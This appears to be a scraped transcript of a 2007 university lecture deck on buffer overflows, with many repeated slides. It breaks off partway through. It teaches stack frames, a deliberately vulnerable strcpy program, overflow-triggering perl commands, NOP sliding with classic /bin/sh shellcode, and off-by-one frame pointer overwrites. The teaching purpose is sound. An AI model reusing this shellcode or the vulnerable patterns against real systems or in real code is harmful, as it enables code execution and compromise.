On the Evolution of Buffer Overflows -...

146
Introduction Buffer Overflows Conclusion On the Evolution of Buffer Overflows Matthias Vallentin [email protected] Computer Science Department Technical University Munich Munich, Germany, May 24, 2007 Matthias Vallentin On the Evolution of Buffer Overflows 1 / 146

Transcript of On the Evolution of Buffer Overflows -...

IntroductionBuffer Overflows

Conclusion

On the Evolution of Buffer Overflows

Matthias Vallentin

[email protected]

Computer Science DepartmentTechnical University Munich

Munich, Germany, May 24, 2007

Matthias Vallentin On the Evolution of Buffer Overflows 1 / 146

IntroductionBuffer Overflows

Conclusion

Outline

1 IntroductionMotivationUnderstanding Function Calls

2 Buffer Overflows1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

3 Conclusion

Matthias Vallentin On the Evolution of Buffer Overflows 2 / 146

IntroductionBuffer Overflows

Conclusion

MotivationUnderstanding Function Calls

Outline

1 IntroductionMotivationUnderstanding Function Calls

2 Buffer Overflows1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

3 Conclusion

Matthias Vallentin On the Evolution of Buffer Overflows 3 / 146

IntroductionBuffer Overflows

Conclusion

MotivationUnderstanding Function Calls

Outline

1 IntroductionMotivationUnderstanding Function Calls

2 Buffer Overflows1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

3 Conclusion

Matthias Vallentin On the Evolution of Buffer Overflows 4 / 146

IntroductionBuffer Overflows

Conclusion

MotivationUnderstanding Function Calls

Software Vulnerabilities – RAID 2006 Keynote

853 “high severity” software vulnerabilities disclosed in lasthalf of 2005.

Exploit code developed and published an average of 6.8 daysafter the announcement of a vulnerability.

49 days to issue a patch.

Matthias Vallentin On the Evolution of Buffer Overflows 5 / 146

IntroductionBuffer Overflows

Conclusion

MotivationUnderstanding Function Calls

Software Vulnerabilities – RAID 2006 Keynote

853 “high severity” software vulnerabilities disclosed in lasthalf of 2005.

Exploit code developed and published an average of 6.8 daysafter the announcement of a vulnerability.

49 days to issue a patch.

Matthias Vallentin On the Evolution of Buffer Overflows 6 / 146

IntroductionBuffer Overflows

Conclusion

MotivationUnderstanding Function Calls

Software Vulnerabilities – RAID 2006 Keynote

853 “high severity” software vulnerabilities disclosed in lasthalf of 2005.

Exploit code developed and published an average of 6.8 daysafter the announcement of a vulnerability.

49 days to issue a patch.

Matthias Vallentin On the Evolution of Buffer Overflows 7 / 146

IntroductionBuffer Overflows

Conclusion

MotivationUnderstanding Function Calls

Code Characteristics – RAID 2006 Keynote

Code is root of the problem:

ComplexityHigh # of lines of code (LOC)

ExtensibilityUpdatesExtensionsModularity

ConnectivityUbiquity of the InternetMultiple attack vectors on the clients (mail clients, browsers,etc.)

Matthias Vallentin On the Evolution of Buffer Overflows 8 / 146

IntroductionBuffer Overflows

Conclusion

MotivationUnderstanding Function Calls

Code Characteristics – RAID 2006 Keynote

Code is root of the problem:

ComplexityHigh # of lines of code (LOC)

ExtensibilityUpdatesExtensionsModularity

ConnectivityUbiquity of the InternetMultiple attack vectors on the clients (mail clients, browsers,etc.)

Matthias Vallentin On the Evolution of Buffer Overflows 9 / 146

IntroductionBuffer Overflows

Conclusion

MotivationUnderstanding Function Calls

Code Characteristics – RAID 2006 Keynote

Code is root of the problem:

ComplexityHigh # of lines of code (LOC)

ExtensibilityUpdatesExtensionsModularity

ConnectivityUbiquity of the InternetMultiple attack vectors on the clients (mail clients, browsers,etc.)

Matthias Vallentin On the Evolution of Buffer Overflows 10 / 146

IntroductionBuffer Overflows

Conclusion

MotivationUnderstanding Function Calls

Exploitation Techniques

Some common code exploitation techniques:

Buffer Overflows

Format String Vulnerabilities

Integer Overflows

Race conditions

Code injection (SQL)

XSS scripting

Definition

A Buffer Overflow (Buffer Overrun) occurs when a programattempts to store data in a buffer and the data is larger than thesize of the buffer [Szo05].

Matthias Vallentin On the Evolution of Buffer Overflows 11 / 146

IntroductionBuffer Overflows

Conclusion

MotivationUnderstanding Function Calls

Exploitation Techniques

Some common code exploitation techniques:

Buffer Overflows

Format String Vulnerabilities

Integer Overflows

Race conditions

Code injection (SQL)

XSS scripting

Definition

A Buffer Overflow (Buffer Overrun) occurs when a programattempts to store data in a buffer and the data is larger than thesize of the buffer [Szo05].

Matthias Vallentin On the Evolution of Buffer Overflows 12 / 146

IntroductionBuffer Overflows

Conclusion

MotivationUnderstanding Function Calls

Outline

1 IntroductionMotivationUnderstanding Function Calls

2 Buffer Overflows1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

3 Conclusion

Matthias Vallentin On the Evolution of Buffer Overflows 13 / 146

IntroductionBuffer Overflows

Conclusion

MotivationUnderstanding Function Calls

Function Calls

void foo(int a, int b, int c){

int bar[2];char qux[3];

bar[0] = ’A’;qux[0] = 0x2a;

}

int main(void){

int i = 1;foo(1, 2, 3);

return 0;}

Matthias Vallentin On the Evolution of Buffer Overflows 14 / 146

IntroductionBuffer Overflows

Conclusion

MotivationUnderstanding Function Calls

Terminology

Terminology

SFP saved frame pointer: saved %ebp on the stack

OFP old frame pointer: old %ebp from the previousstack frame

RIP return instruction pointer: return address on thestack

Matthias Vallentin On the Evolution of Buffer Overflows 15 / 146

IntroductionBuffer Overflows

Conclusion

MotivationUnderstanding Function Calls

Function Calls in Assembler

main:pushl %ebpmovl %esp,%ebpsubl $4,%espmovl $1,-4(%ebp)pushl $3pushl $2pushl $1call fooaddl $12,%espxorl %eax,%eaxleaveret

ebp

esp

Matthias Vallentin On the Evolution of Buffer Overflows 16 / 146

IntroductionBuffer Overflows

Conclusion

MotivationUnderstanding Function Calls

Function Calls in Assembler

main:pushl %ebpmovl %esp,%ebpsubl $4,%espmovl $1,-4(%ebp)pushl $3pushl $2pushl $1call fooaddl $12,%espxorl %eax,%eaxleaveret

sfp

ebp

esp

Matthias Vallentin On the Evolution of Buffer Overflows 17 / 146

IntroductionBuffer Overflows

Conclusion

MotivationUnderstanding Function Calls

Function Calls in Assembler

main:pushl %ebpmovl %esp,%ebpsubl $4,%espmovl $1,-4(%ebp)pushl $3pushl $2pushl $1call fooaddl $12,%espxorl %eax,%eaxleaveret

sfp

ofp

esp + ebp

Matthias Vallentin On the Evolution of Buffer Overflows 18 / 146

IntroductionBuffer Overflows

Conclusion

MotivationUnderstanding Function Calls

Function Calls in Assembler

main:pushl %ebpmovl %esp,%ebpsubl $4,%espmovl $1,-4(%ebp)pushl $3pushl $2pushl $1call fooaddl $12,%espxorl %eax,%eaxleaveret

sfp

ofp

ebpesp

Matthias Vallentin On the Evolution of Buffer Overflows 19 / 146

IntroductionBuffer Overflows

Conclusion

MotivationUnderstanding Function Calls

Function Calls in Assembler

main:pushl %ebpmovl %esp,%ebpsubl $4,%espmovl $1,-4(%ebp)pushl $3pushl $2pushl $1call fooaddl $12,%espxorl %eax,%eaxleaveret

sfp

1

ofp

ebpesp

Matthias Vallentin On the Evolution of Buffer Overflows 20 / 146

IntroductionBuffer Overflows

Conclusion

MotivationUnderstanding Function Calls

Function Calls in Assembler

main:pushl %ebpmovl %esp,%ebpsubl $4,%espmovl $1,-4(%ebp)pushl $3pushl $2pushl $1call fooaddl $12,%espxorl %eax,%eaxleaveret

sfp

1

3

2

1

ofp

ebp

esp

Matthias Vallentin On the Evolution of Buffer Overflows 21 / 146

IntroductionBuffer Overflows

Conclusion

MotivationUnderstanding Function Calls

Function Calls in Assembler

main:pushl %ebpmovl %esp,%ebpsubl $4,%espmovl $1,-4(%ebp)pushl $3pushl $2pushl $1call fooaddl $12,%espxorl %eax,%eaxleaveret

sfp

1

3

2

1

rip

ofp

ebp

esp

Matthias Vallentin On the Evolution of Buffer Overflows 22 / 146

IntroductionBuffer Overflows

Conclusion

MotivationUnderstanding Function Calls

Function Calls in Assembler

foo:pushl %ebpmovl %esp,%ebpsubl $12,%espmovl $65,-8(%ebp)movb $66,-12(%ebp)leaveret

sfp

1

3

2

1

rip

ofp

ebp

esp

Matthias Vallentin On the Evolution of Buffer Overflows 23 / 146

IntroductionBuffer Overflows

Conclusion

MotivationUnderstanding Function Calls

Function Calls in Assembler

foo:pushl %ebpmovl %esp,%ebpsubl $12,%espmovl $65,-8(%ebp)movb $66,-12(%ebp)leaveret

sfp

1

3

2

1

rip

sfp

ofp

ebp

esp

Matthias Vallentin On the Evolution of Buffer Overflows 24 / 146

IntroductionBuffer Overflows

Conclusion

MotivationUnderstanding Function Calls

Function Calls in Assembler

foo:pushl %ebpmovl %esp,%ebpsubl $12,%espmovl $65,-8(%ebp)movb $66,-12(%ebp)leaveret

sfp

1

3

2

1

rip

sfp

ofp

ofp (m)

esp + ebp

Matthias Vallentin On the Evolution of Buffer Overflows 25 / 146

IntroductionBuffer Overflows

Conclusion

MotivationUnderstanding Function Calls

Function Calls in Assembler

foo:pushl %ebpmovl %esp,%ebpsubl $12,%espmovl $65,-8(%ebp)movb $66,-12(%ebp)leaveret

sfp

1

3

2

1

rip

sfp

ofp

ofp (m)

ebp

esp

Matthias Vallentin On the Evolution of Buffer Overflows 26 / 146

IntroductionBuffer Overflows

Conclusion

MotivationUnderstanding Function Calls

Function Calls in Assembler

foo:pushl %ebpmovl %esp,%ebpsubl $12,%espmovl $65,-8(%ebp)movb $66,-12(%ebp)leaveret

sfp

1

3

2

1

rip

sfp

ofp

ofp (m)

ebp

esp00 00 00 41

Matthias Vallentin On the Evolution of Buffer Overflows 27 / 146

IntroductionBuffer Overflows

Conclusion

MotivationUnderstanding Function Calls

Function Calls in Assembler

foo:pushl %ebpmovl %esp,%ebpsubl $12,%espmovl $65,-8(%ebp)movb $66,-12(%ebp)leaveret

sfp

1

3

2

1

rip

sfp

ofp

ofp (m)

ebp

esp00 00 00 41

42

Matthias Vallentin On the Evolution of Buffer Overflows 28 / 146

IntroductionBuffer Overflows

Conclusion

MotivationUnderstanding Function Calls

Function Calls in Assembler

foo:pushl %ebpmovl %esp,%ebpsubl $12,%espmovl $65,-8(%ebp)movb $66,-12(%ebp)leaveret

sfp

1

3

2

1

rip

sfp

ofp

ofp (m)

esp + ebp

00 00 00 41

42leave: movl %ebp,%esp popl %ebp

Matthias Vallentin On the Evolution of Buffer Overflows 29 / 146

IntroductionBuffer Overflows

Conclusion

MotivationUnderstanding Function Calls

Function Calls in Assembler

foo:pushl %ebpmovl %esp,%ebpsubl $12,%espmovl $65,-8(%ebp)movb $66,-12(%ebp)leaveret

sfp

1

3

2

1

rip

sfp

ofp

ebp

esp

00 00 00 41

42leave: movl %ebp,%esp popl %ebp

Matthias Vallentin On the Evolution of Buffer Overflows 30 / 146

IntroductionBuffer Overflows

Conclusion

MotivationUnderstanding Function Calls

Function Calls in Assembler

foo:pushl %ebpmovl %esp,%ebpsubl $12,%espmovl $65,-8(%ebp)movb $66,-12(%ebp)leaveret

sfp

1

3

2

1

rip

sfp

ofp

ebp

esp

00 00 00 41

42ret: popl %eip

Matthias Vallentin On the Evolution of Buffer Overflows 31 / 146

IntroductionBuffer Overflows

Conclusion

MotivationUnderstanding Function Calls

Function Calls in Assembler

main:pushl %ebpmovl %esp,%ebpsubl $4,%espmovl $1,-4(%ebp)pushl $3pushl $2pushl $1call fooaddl $12,%espxorl %eax,%eaxleaveret

sfp

1

3

2

1

rip

sfp

ofp

ebp

esp

00 00 00 41

42

Matthias Vallentin On the Evolution of Buffer Overflows 32 / 146

IntroductionBuffer Overflows

Conclusion

MotivationUnderstanding Function Calls

Function Calls in Assembler

main:pushl %ebpmovl %esp,%ebpsubl $4,%espmovl $1,-4(%ebp)pushl $3pushl $2pushl $1call fooaddl $12,%espxorl %eax,%eaxleaveret

sfp

1

3

2

1

rip

sfp

ofp

ebpesp

00 00 00 41

42

Matthias Vallentin On the Evolution of Buffer Overflows 33 / 146

IntroductionBuffer Overflows

Conclusion

MotivationUnderstanding Function Calls

Function Calls in Assembler

main:pushl %ebpmovl %esp,%ebpsubl $4,%espmovl $1,-4(%ebp)pushl $3pushl $2pushl $1call fooaddl $12,%espxorl %eax,%eaxleaveret

sfp

1

3

2

1

rip

sfp

ofp

ebpesp

00 00 00 41

42

Matthias Vallentin On the Evolution of Buffer Overflows 34 / 146

IntroductionBuffer Overflows

Conclusion

MotivationUnderstanding Function Calls

Function Calls in Assembler

main:pushl %ebpmovl %esp,%ebpsubl $4,%espmovl $1,-4(%ebp)pushl $3pushl $2pushl $1call fooaddl $12,%espxorl %eax,%eaxleaveret

sfp

1

3

2

1

rip

sfp

ofp

esp + ebp

00 00 00 41

42

Matthias Vallentin On the Evolution of Buffer Overflows 35 / 146

IntroductionBuffer Overflows

Conclusion

MotivationUnderstanding Function Calls

Function Calls in Assembler

main:pushl %ebpmovl %esp,%ebpsubl $4,%espmovl $1,-4(%ebp)pushl $3pushl $2pushl $1call fooaddl $12,%espxorl %eax,%eaxleaveret

sfp

1

3

2

1

rip

sfp

ebp

esp

00 00 00 41

42

Matthias Vallentin On the Evolution of Buffer Overflows 36 / 146

IntroductionBuffer Overflows

Conclusion

MotivationUnderstanding Function Calls

Function Calls in Assembler

main:pushl %ebpmovl %esp,%ebpsubl $4,%espmovl $1,-4(%ebp)pushl $3pushl $2pushl $1call fooaddl $12,%espxorl %eax,%eaxleaveret

(rip)

sfp

1

3

2

1

rip

sfp

ebpesp

00 00 00 41

42

Matthias Vallentin On the Evolution of Buffer Overflows 37 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Outline

1 IntroductionMotivationUnderstanding Function Calls

2 Buffer Overflows1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

3 Conclusion

Matthias Vallentin On the Evolution of Buffer Overflows 38 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Outline

1 IntroductionMotivationUnderstanding Function Calls

2 Buffer Overflows1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

3 Conclusion

Matthias Vallentin On the Evolution of Buffer Overflows 39 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Vulnerable Code: foo.c

void foo(char *args){

char buf[256];strcpy(buf, args);

}

int main(int argc, char *argv[]){

if (argc > 1)foo(argv[1]);

return 0;}

Matthias Vallentin On the Evolution of Buffer Overflows 40 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Vulnerable Code: foo.c

void foo(char *args){

char buf[256];strcpy(buf, args);

}

int main(int argc, char *argv[]){

if (argc > 1)foo(argv[1]);

return 0;}

Matthias Vallentin On the Evolution of Buffer Overflows 41 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Provoking the Overflow

gcc -o foo foo.c

./foo `perl -e ’print "B"x255’`

./foo `perl -e ’print "B"x256’`

./foo `perl -e ’print "B"x259’`

./foo `perl -e ’print "B"x264’`

Attack Vectors

Denial-of-Service (DoS) attacks

Modifying the execution path

Executing injected (shell-)code

rip

sfp ebp

esp42 42 42 42

42 42 42 42

42 42 42 42

42 42 42 42

?? ?? ?? ??

256 bytes

main()

foo()

&buf

Matthias Vallentin On the Evolution of Buffer Overflows 42 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Provoking the Overflow

gcc -o foo foo.c

./foo `perl -e ’print "B"x255’`

./foo `perl -e ’print "B"x256’`

./foo `perl -e ’print "B"x259’`

./foo `perl -e ’print "B"x264’`

Attack Vectors

Denial-of-Service (DoS) attacks

Modifying the execution path

Executing injected (shell-)code

rip

sfp ebp

esp42 42 42 42

42 42 42 42

42 42 42 42

42 42 42 42

\0 42 42 42

256 bytes

main()

foo()

&buf

Matthias Vallentin On the Evolution of Buffer Overflows 43 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Provoking the Overflow

gcc -o foo foo.c

./foo `perl -e ’print "B"x255’`

./foo `perl -e ’print "B"x256’`

./foo `perl -e ’print "B"x259’`

./foo `perl -e ’print "B"x264’`

Attack Vectors

Denial-of-Service (DoS) attacks

Modifying the execution path

Executing injected (shell-)code

rip

sfp ebp

esp42 42 42 42

42 42 42 42

42 42 42 42

42 42 42 42

?? ?? ?? ??

256 bytes

main()

foo()

&buf

Matthias Vallentin On the Evolution of Buffer Overflows 44 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Provoking the Overflow

gcc -o foo foo.c

./foo `perl -e ’print "B"x255’`

./foo `perl -e ’print "B"x256’`

./foo `perl -e ’print "B"x259’`

./foo `perl -e ’print "B"x264’`

Attack Vectors

Denial-of-Service (DoS) attacks

Modifying the execution path

Executing injected (shell-)code

rip

sfp ebp

esp42 42 42 42

42 42 42 42

42 42 42 42

42 42 42 42

42 42 42 42

256 bytes

main()

foo()

&buf

\0

Matthias Vallentin On the Evolution of Buffer Overflows 45 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Provoking the Overflow

gcc -o foo foo.c

./foo `perl -e ’print "B"x255’`

./foo `perl -e ’print "B"x256’`

./foo `perl -e ’print "B"x259’`

./foo `perl -e ’print "B"x264’`

Attack Vectors

Denial-of-Service (DoS) attacks

Modifying the execution path

Executing injected (shell-)code

rip

sfp ebp

esp42 42 42 42

42 42 42 42

42 42 42 42

42 42 42 42

?? ?? ?? ??

256 bytes

main()

foo()

&buf

Matthias Vallentin On the Evolution of Buffer Overflows 46 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Provoking the Overflow

gcc -o foo foo.c

./foo `perl -e ’print "B"x255’`

./foo `perl -e ’print "B"x256’`

./foo `perl -e ’print "B"x259’`

./foo `perl -e ’print "B"x264’`

Attack Vectors

Denial-of-Service (DoS) attacks

Modifying the execution path

Executing injected (shell-)code

rip

ebp

esp42 42 42 42

42 42 42 42

42 42 42 42

42 42 42 42

42 42 42 42

256 bytes

main()

foo()

&buf

\0 42 42 42

Matthias Vallentin On the Evolution of Buffer Overflows 47 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Provoking the Overflow

gcc -o foo foo.c

./foo `perl -e ’print "B"x255’`

./foo `perl -e ’print "B"x256’`

./foo `perl -e ’print "B"x259’`

./foo `perl -e ’print "B"x264’`

Attack Vectors

Denial-of-Service (DoS) attacks

Modifying the execution path

Executing injected (shell-)code

rip

sfp ebp

esp42 42 42 42

42 42 42 42

42 42 42 42

42 42 42 42

?? ?? ?? ??

256 bytes

main()

foo()

&buf

Matthias Vallentin On the Evolution of Buffer Overflows 48 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Provoking the Overflow

gcc -o foo foo.c

./foo `perl -e ’print "B"x255’`

./foo `perl -e ’print "B"x256’`

./foo `perl -e ’print "B"x259’`

./foo `perl -e ’print "B"x264’`

Attack Vectors

Denial-of-Service (DoS) attacks

Modifying the execution path

Executing injected (shell-)code

ebp

esp42 42 42 42

42 42 42 42

42 42 42 42

42 42 42 42

42 42 42 42

256 bytes

main()

foo()

&buf

42 42 42 42

42 42 42 42

\0

Matthias Vallentin On the Evolution of Buffer Overflows 49 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Provoking the Overflow

gcc -o foo foo.c

./foo `perl -e ’print "B"x255’`

./foo `perl -e ’print "B"x256’`

./foo `perl -e ’print "B"x259’`

./foo `perl -e ’print "B"x264’`

Attack Vectors

Denial-of-Service (DoS) attacks

Modifying the execution path

Executing injected (shell-)code

ebp

esp42 42 42 42

42 42 42 42

42 42 42 42

42 42 42 42

42 42 42 42

256 bytes

main()

foo()

&buf

42 42 42 42

42 42 42 42

\0

Matthias Vallentin On the Evolution of Buffer Overflows 50 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Exploit Code Ingredients

Injected code has generally two components:1 Payload

malicious program instructions(e.g. shellcode)

2 Injection Vector (IV)

describes techniques to overwrite avulnerable buffer.directs the execution flow to thepreviously injected payload.

rip

sfp

payload

buf

payload address

Conclusion

→ ”The IV is the cruise missile for the warhead (payload).”

→ This modularity allows separate construction of IV andpayload

Matthias Vallentin On the Evolution of Buffer Overflows 51 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Exploit Code Ingredients

Injected code has generally two components:1 Payload

malicious program instructions(e.g. shellcode)

2 Injection Vector (IV)

describes techniques to overwrite avulnerable buffer.directs the execution flow to thepreviously injected payload.

rip

sfp

payload

buf

payload address

Conclusion

→ ”The IV is the cruise missile for the warhead (payload).”

→ This modularity allows separate construction of IV andpayload

Matthias Vallentin On the Evolution of Buffer Overflows 52 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Exploit Code Ingredients

Injected code has generally two components:1 Payload

malicious program instructions(e.g. shellcode)

2 Injection Vector (IV)

describes techniques to overwrite avulnerable buffer.directs the execution flow to thepreviously injected payload.

rip

sfp

payload

buf

payload address

Conclusion

→ ”The IV is the cruise missile for the warhead (payload).”

→ This modularity allows separate construction of IV andpayload

Matthias Vallentin On the Evolution of Buffer Overflows 53 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

NOP sliding [Phr49-14]

rip

sfp

shellcode

buf

payload addressNOPs (0x90)

char shellcode[] = "\xeb\x1f" /* jmp 0x1f (2) */ "\x5e" /* popl %esi (1) */ "\x89\x76\x08" /* movl %esi,0x8(%esi) (3) */ "\x31\xc0" /* xorl %eax,%eax (2) */ "\x88\x46\x07" /* movb %eax,0x7(%esi) (3) */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) (3) */ "\xb0\x0b" /* movb $0xb,%al (2) */ "\x89\xf3" /* movl %esi,%ebx (2) */ "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx (3) */ "\x8d\x56\x0c" /* leal 0xc(%esi),%edx (3) */ "\xcd\x80" /* int 0x80 (2) */ "\x31\xdb" /* xorl ebx,ebx (2) */ "\x89\xd8" /* movl %ebx,%eax (2) */ "\x40" /* inc %eax (1) */ "\xcd\x80" /* int 0x80 (2) */ "\xe8\xdc\xff\xff\xff" /* call -0x24 (5) */ "/bin/sh"; /* .string \"/bin/sh\" (8) */

Matthias Vallentin On the Evolution of Buffer Overflows 54 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Outline

1 IntroductionMotivationUnderstanding Function Calls

2 Buffer Overflows1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

3 Conclusion

Matthias Vallentin On the Evolution of Buffer Overflows 55 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Definitions

Off-by-One

Exceedingly common error induced in many ways, such as by

starting at 0 instead of at 1 (and vice versa).

writing <= N instead of < N (and vice versa).

giving something next to the person who should have gottenit.

An Off-by-One Overflow is generally a one-byte buffer overflow.

Frame Pointer Overwrite

A Frame Pointer Overwrite is a special case of an off-by-oneoverflow. If a local buffer is declared at the beginning of afunction, it is possible to manipulate the LSB of the saved framepointer (on little-endian architectures).

Matthias Vallentin On the Evolution of Buffer Overflows 56 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Definitions

Off-by-One

Exceedingly common error induced in many ways, such as by

starting at 0 instead of at 1 (and vice versa).

writing <= N instead of < N (and vice versa).

giving something next to the person who should have gottenit.

An Off-by-One Overflow is generally a one-byte buffer overflow.

Frame Pointer Overwrite

A Frame Pointer Overwrite is a special case of an off-by-oneoverflow. If a local buffer is declared at the beginning of afunction, it is possible to manipulate the LSB of the saved framepointer (on little-endian architectures).

Matthias Vallentin On the Evolution of Buffer Overflows 57 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Frame Pointer Overwrite

void foo(){

char buf[256];int i;

for (i = 0; i <= 256; i++)buf[i] = Oxff;

}

Matthias Vallentin On the Evolution of Buffer Overflows 58 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Frame Pointer Overwrite

void foo(){

char buf[256];int i;

for (i = 0; i <= 256; i++)buf[i] = Oxff;

}

Matthias Vallentin On the Evolution of Buffer Overflows 59 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Frame Pointer Overwrite

void foo(){

char buf[256];int i;

for (i = 0; i <= 256; i++)buf[i] = Oxff;

}

rip

sfp ebp

i esp25

6 by

tes

main()

foo()

&buf

Matthias Vallentin On the Evolution of Buffer Overflows 60 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Frame Pointer Overwrite

void foo(){

char buf[256];int i;

for (i = 0; i <= 256; i++)buf[i] = Oxff;

}

rip

sfp ebp

100 espff ff ff ff

ff ff ff ff

ff ff ff ff

256

byte

s

main()

foo()

&buf

ff

Matthias Vallentin On the Evolution of Buffer Overflows 61 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Exploiting the Frame Pointer Overwrite

We cannot overwrite the RIP as it resides beyond the SFP.

But we can modify the environment of the higher stack frame,e.g. main():

→ By modifying the SFP we control %ebp.→ Control over %ebp gives us control over %esp.

leave and ret in main()

leave: movl %ebp,%esp

; esp := modified SFP (mSFP)

popl %ebpret: popl %eip

; eip := mSFP + 4

Matthias Vallentin On the Evolution of Buffer Overflows 62 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Exploiting the Frame Pointer Overwrite

We cannot overwrite the RIP as it resides beyond the SFP.

But we can modify the environment of the higher stack frame,e.g. main():

→ By modifying the SFP we control %ebp.→ Control over %ebp gives us control over %esp.

leave and ret in main()

leave: movl %ebp,%esp

; esp := modified SFP (mSFP)

popl %ebpret: popl %eip

; eip := mSFP + 4

Matthias Vallentin On the Evolution of Buffer Overflows 63 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Exploiting the Frame Pointer Overwrite

We cannot overwrite the RIP as it resides beyond the SFP.

But we can modify the environment of the higher stack frame,e.g. main():

→ By modifying the SFP we control %ebp.

→ Control over %ebp gives us control over %esp.

leave and ret in main()

leave: movl %ebp,%esp

; esp := modified SFP (mSFP)

popl %ebpret: popl %eip

; eip := mSFP + 4

Matthias Vallentin On the Evolution of Buffer Overflows 64 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Exploiting the Frame Pointer Overwrite

We cannot overwrite the RIP as it resides beyond the SFP.

But we can modify the environment of the higher stack frame,e.g. main():

→ By modifying the SFP we control %ebp.→ Control over %ebp gives us control over %esp.

leave and ret in main()

